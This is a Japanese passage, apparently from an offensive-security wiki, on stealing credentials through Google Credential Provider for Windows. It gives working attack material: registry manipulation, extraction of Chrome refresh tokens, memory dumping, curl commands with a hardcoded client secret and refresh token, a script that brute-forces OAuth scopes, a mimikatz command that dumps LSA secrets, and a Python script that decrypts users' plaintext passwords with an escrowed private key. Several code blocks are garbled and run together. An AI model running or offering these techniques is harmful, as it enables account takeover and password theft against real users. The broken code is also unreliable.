[**この動画**](https://www.youtube.com/watch?v=FEQxHRRP_5I)で説明されているように、レジストリにトークンが見つからない場合、**`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`**の値を変更（または削除）することが可能で、次回ユーザーがコンピュータにアクセスすると再度ログインが必要になり、**トークンは以前のレジストリに保存されます**。

### GCPW - ディスクリフレッシュトークン

ファイル**`%LocalAppData%\Google\Chrome\User Data\Local State`**は、ユーザーの**Google Chromeプロファイル**内にある**`refresh_tokens`**を復号化するためのキーを保存します。例えば：

- `%LocalAppData%\Google\Chrome\User Data\Default\Web Data`
- `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data`

これらのトークンにアクセスする**C#コード**は、[**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe)で復号化された形で見つけることができます。

さらに、暗号化はこのコードで見つけることができます：[https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216)

AESGCMが使用されていることが観察でき、暗号化されたトークンは**バージョン**（現時点では**`v10`**）で始まり、次に[**12Bのノンス**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42)があり、最後に**16BのMAC**を持つ**暗号文**があります。

### GCPW - プロセスメモリからのトークンダンプ

以下のスクリプトを使用して、`procdump`を使用してすべての**Chrome**プロセスを**ダンプ**し、**文字列**を抽出し、**アクセスおよびリフレッシュトークン**に関連する文字列を**検索**できます。ChromeがGoogleサイトに接続されている場合、いくつかの**プロセスがメモリにリフレッシュおよび/またはアクセス トークンを保存しています！**

### GCPW - リフレッシュトークンからアクセストークンを生成する

リフレッシュトークンを使用して、次のコマンドで指定されたクライアントIDとクライアントシークレットを使用してアクセストークンを生成することができます:
```bash
curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
--data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
https://www.googleapis.com/oauth2/v4/token

GCPW - スコープ

Note

リフレッシュトークンを持っていても、アクセストークンを生成しているアプリケーションでサポートされているスコープのみをリクエストできるため、アクセストークンのために任意のスコープをリクエストすることはできません。

また、リフレッシュトークンはすべてのアプリケーションで有効ではありません。

デフォルトでは、GCPWはユーザーとしてすべての可能なOAuthスコープにアクセスできないため、次のスクリプトを使用して、refresh_tokenを使用してaccess_tokenを生成するために使用できるスコープを見つけることができます：

スコープをブルートフォースするためのBashスクリプト

```bash curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do echo -ne "Testing $scope \r" if ! curl -s --data "client_id=77185425430.apps.googleusercontent.com" \ --data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \ --data "grant_type=refresh_token" \ --data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \ --data "scope=$scope" \ https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then echo "" echo $scope echo $scope >> /tmp/valid_scopes.txt fi done

echo “” echo “” echo “Valid scopes:” cat /tmp/valid_scopes.txt rm /tmp/valid_scopes.txt

そして、執筆時に得られた出力は次のとおりです：

最も興味深いのはおそらく次のものです:
```c
// OAuth2 scope for access to all Google APIs.
const char kAnyApiOAuth2Scope[] = "https://www.googleapis.com/auth/any-api";

しかし、私はこのスコープを使用してgmailにアクセスしたり、グループをリストしたりしようとしましたが、うまくいかなかったので、まだどれほど役に立つのかわかりません。

Google Workspace Vaultは、Gmail、Drive、ChatなどのGoogle Workspaceサービスに保存されている組織のデータのデータ保持、検索、エクスポートのためのツールを提供するGoogle Workspaceのアドオンです。

• Google Workspace VaultにおけるMatterは、特定のケース、調査、または法的問題に関連するすべての情報を整理し、グループ化するコンテナです。これは、その特定の問題に関連するHolds、Searches、およびExportsを管理するための中心的なハブとして機能します。
• Google Workspace VaultにおけるHoldは、特定のユーザーまたはグループに適用される保存アクションであり、Google Workspaceサービス内のデータの削除または変更を防ぐためのものです。Holdsは、関連情報が法的なケースや調査の期間中に無傷で変更されないようにします。

GCPW - 平文パスワードの回復

GCPWを悪用してパスワードの平文を回復するには、mimikatzを使用してLSASSから暗号化されたパスワードをダンプすることが可能です：

mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets exit

次に、画像のように Chrome-GCPW-<sid> のような秘密を検索します：

次に、スコープ https://www.google.com/accounts/OAuthLogin を持つ アクセストークン を使用して、パスワードを復号化するための秘密鍵をリクエストすることができます：

アクセストークン、暗号化されたパスワード、およびリソースIDを指定して平文のパスワードを取得するためのスクリプト

```python import requests from base64 import b64decode from Crypto.Cipher import AES, PKCS1_OAEP from Crypto.PublicKey import RSA

def get_decryption_key(access_token, resource_id): try:

Request to get the private key

response = requests.get( f“https://devicepasswordescrowforwindows-pa.googleapis.com/v1/getprivatekey/{resource_id}“, headers={ “Authorization”: f“Bearer {access_token}“ } )

Check if the response is successful

if response.status_code == 200: private_key = response.json()[“base64PrivateKey”]

Properly format the RSA private key

private_key = f“—–BEGIN RSA PRIVATE KEY—–\n{private_key.strip()}\n—–END RSA PRIVATE KEY—–“ return private_key else: raise ValueError(f“Failed to retrieve private key: {response.text}“)

except requests.RequestException as e: print(f“Error occurred while requesting the private key: {e}“) return None

def decrypt_password(access_token, lsa_secret): try:

Obtain the private key using the resource_id

resource_id = lsa_secret[“resource_id”] encrypted_data = b64decode(lsa_secret[“encrypted_password”])

private_key_pem = get_decryption_key(access_token, resource_id) print(“Found private key:”) print(private_key_pem)

if private_key_pem is None: raise ValueError(“Unable to retrieve the private key.”)

Load the RSA private key

rsa_key = RSA.import_key(private_key_pem) key_size = int(rsa_key.size_in_bits() / 8)

Decrypt the encrypted data

cipher_rsa = PKCS1_OAEP.new(rsa_key) session_key = cipher_rsa.decrypt(encrypted_data[:key_size])

Extract the session key and other data from decrypted payload

session_header = session_key[:32] session_nonce = session_key[32:] mac = encrypted_data[-16:]

Decrypt the AES GCM data

aes_cipher = AES.new(session_header, AES.MODE_GCM, nonce=session_nonce) decrypted_password = aes_cipher.decrypt_and_verify(encrypted_data[key_size:-16], mac)

print(“Decrypted Password:”, decrypted_password.decode(“utf-8”))

except Exception as e: print(f“Error occurred during decryption: {e}“)

CHANGE THIS INPUT DATA!

access_token = “<acces_token>” lsa_secret = { “encrypted_password”: “”, “resource_id”: “” }

decrypt_password(access_token, lsa_secret)
